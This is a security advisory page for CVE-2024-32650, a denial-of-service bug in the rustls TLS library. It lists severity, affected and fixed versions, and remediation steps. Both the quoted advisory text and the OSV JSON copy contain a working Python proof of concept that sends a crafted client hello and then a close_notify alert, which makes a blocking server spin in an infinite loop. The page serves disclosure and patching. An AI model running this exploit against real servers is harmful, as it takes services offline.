CVE-2024-32650: Rustls Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-6g7w-8wpp-frhj
CVSS 7.5
CWE-835
Published
Advisory Summary

CVE-2024-32650 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting Rustls libraries in the crates.io ecosystem. The issue involves denial of service vulnerability in rustls library. Remediation is available by upgrading affected packages to version 0.23.5, 0.22.4, 0.21.11.

CVE-2024-32650 at a Glance

CVE Identifier CVE-2024-32650
GHSA Identifier GHSA-6g7w-8wpp-frhj
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Affected Product Rustls
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2024-32650

To remediate this vulnerability, upgrade all affected Rustls dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rustls fixed: 0.23.5
Upgrade rustls to 0.23.5
rustls fixed: 0.22.4
Upgrade rustls to 0.22.4
rustls fixed: 0.21.11
Upgrade rustls to 0.21.11
rustls fixed: Latest secure release
Upgrade rustls to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for rustls

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-32650, inspect your project dependencies for Rustls:

inspect dependencies for rustls

Analyze the terminal output to locate any version of Rustls in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.23.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In Rustls, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. ### Details Verified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop where: - `eof`: false - `until_handshaked`: true - `self.is_handshaking()`: true - `self.wants_write()`: false - `self.wants_read()`: false ### PoC 1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key` 2. Run following python script ```python3 #!/usr/bin/env python3 import socket sock = socket.socket() sock.connect(("localhost", 4443)) print("Sending client hello...") # Fake handshake data of a client hello message. fake_handshake = """ 1603 0100 c801 0000 c403 03ec 12dd 1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7 a051 f03c b817 470d 4c54 c5df 7200 001c eaea c02b c02f c02c c030 cca9 cca8 c013 c014 009c 009d 002f 0035 000a 0100 007f dada 0000 ff01 0001 0000 0000 1600 1400 0011 7777 772e 7769 6b69 7065 6469 612e 6f72 6700 1700 0000 2300 0000 0d00 1400 1204 0308 0404 0105 0308 0505 0108 0606 0102 0100 0500 0501 0000 0000 0012 0000 0010 000e 000c 0268 3208 6874 7470 2f31 2e31 7550 0000 000b 0002 0100 000a 000a 0008 1a1a 001d 0017 0018 1a1a 0001 00 """ def parse_fake_handshake(): i = 0 data = bytearray() while i < len(fake_handshake): while i < len(fake_handshake) and fake_handshake[i].isspace(): i += 1 if i >= len(fake_handshake): return data c1 = fake_handshake[i] c2 = fake_handshake[i + 1] i += 2 data.append(int(c1, 16) * 16 + int(c2, 16)) return data data = parse_fake_handshake() print("Fake client hello:", data) sock.send(data) # Send close_notify alert that we're closing the connection. close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00]) print(f"close_notify is {close_data}") sock.send(close_data) print("close_notify sent") exit(0) ``` 4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning. Also note that the server thread is stuck in this infinite loop even if the client closes the socket. ### Impact This is a DOS. A multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

CVE-2024-32650 Affected Rustls Versions

4 component(s)
Fixed Versions:
0.23.50.22.40.21.11
Product / Package Ecosystem Affected Versions Fixed Version
rustls
crates.io
≥ 0.23.0
< 0.23.5
0.23.5
rustls
crates.io
≥ 0.22.0
< 0.22.4
0.22.4
rustls
crates.io
≥ 0.21.0
< 0.21.11
0.21.11
rustls
crates.io
0.20
All 1 versions
0.20
None specified

References

Frequently Asked Questions

What is CVE-2024-32650?
CVE-2024-32650 is a security vulnerability in Rustls involving Denial of Service Vulnerability in Rustls Library under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').
Which Rustls versions are affected?
Affected versions include releases prior to 0.23.5, 0.22.4, 0.21.11 across affected packages: rustls.
What version fixes CVE-2024-32650?
Upgrading to 0.23.5, 0.22.4, 0.21.11 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rustls affected?
Yes, rustls is affected in releases prior to 0.23.5, 0.22.4, 0.21.11, Latest secure release. Upgrade your dependency to 0.23.5, 0.22.4, 0.21.11, Latest secure release or later.
What is the CVSS score of CVE-2024-32650?
CVE-2024-32650 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2024-32650?
CVE-2024-32650 is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).
How can I check crates.io dependencies for CVE-2024-32650?
Run the dependency tree command: 'inspect dependencies for rustls'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6g7w-8wpp-frhj",
  "modified" : "2024-05-21T17:23:33Z",
  "published" : "2024-04-19T19:46:57Z",
  "aliases" : [ "CVE-2024-32650" ],
  "summary" : "Denial of Service Vulnerability in Rustls Library",
  "details" : "### Summary\n`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input.\n\n### Details\n\nVerified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected.\n\nWhen using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop where:\n\n- `eof`: false\n- `until_handshaked`: true\n- `self.is_handshaking()`: true\n- `self.wants_write()`: false\n- `self.wants_read()`: false\n\n\n### PoC\n\n1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key`\n2. Run following python script\n    ```python3\n    #!/usr/bin/env python3\n    \n    import socket\n    \n    sock = socket.socket()\n    sock.connect((\"localhost\", 4443))\n    \n    print(\"Sending client hello...\")\n    \n    # Fake handshake data of a client hello message.\n    fake_handshake = \"\"\"\n    1603 0100 c801 0000 c403 03ec 12dd\n    1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7\n    a051 f03c b817 470d 4c54 c5df 7200 001c\n    eaea c02b c02f c02c c030 cca9 cca8 c013\n    c014 009c 009d 002f 0035 000a 0100 007f\n    dada 0000 ff01 0001 0000 0000 1600 1400\n    0011 7777 772e 7769 6b69 7065 6469 612e\n    6f72 6700 1700 0000 2300 0000 0d00 1400\n    1204 0308 0404 0105 0308 0505 0108 0606\n    0102 0100 0500 0501 0000 0000 0012 0000\n    0010 000e 000c 0268 3208 6874 7470 2f31\n    2e31 7550 0000 000b 0002 0100 000a 000a\n    0008 1a1a 001d 0017 0018 1a1a 0001 00\n    \"\"\"\n    \n    \n    def parse_fake_handshake():\n        i = 0\n        data = bytearray()\n        while i < len(fake_handshake):\n            while i < len(fake_handshake) and fake_handshake[i].isspace():\n                i += 1\n            if i >= len(fake_handshake):\n                return data\n    \n            c1 = fake_handshake[i]\n            c2 = fake_handshake[i + 1]\n            i += 2\n    \n            data.append(int(c1, 16) * 16 + int(c2, 16))\n        return data\n    \n    \n    data = parse_fake_handshake()\n    \n    print(\"Fake client hello:\", data)\n    \n    sock.send(data)\n    \n    # Send close_notify alert that we're closing the connection.\n    close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])\n    print(f\"close_notify is {close_data}\")\n    sock.send(close_data)\n    print(\"close_notify sent\")\n    \n    exit(0)\n    ```\n4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning.\n\nAlso note that the server thread is stuck in this infinite loop even if the client closes the socket.\n\n### Impact\n\nThis is a DOS.\n\nA multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "rustls"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.23.0"
      }, {
        "fixed" : "0.23.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.23.4"
    }
  }, {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "rustls"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.22.0"
      }, {
        "fixed" : "0.22.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.22.3"
    }
  }, {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "rustls"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.21.0"
      }, {
        "fixed" : "0.21.11"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.21.10"
    }
  }, {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "rustls"
    },
    "versions" : [ "0.20" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-32650"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rustls/rustls/commit/5374108df698e78c3e9ef8265cac311556be24af"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rustls/rustls/commit/ebcb4782f23b4edf9b10a7065d9e8d4362439d9c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rustls/rustls"
  }, {
    "type" : "WEB",
    "url" : "https://rustsec.org/advisories/RUSTSEC-2024-0336.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-835" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-04-19T19:46:57Z",
    "nvd_published_at" : "2024-04-19T16:15:10Z"
  }
}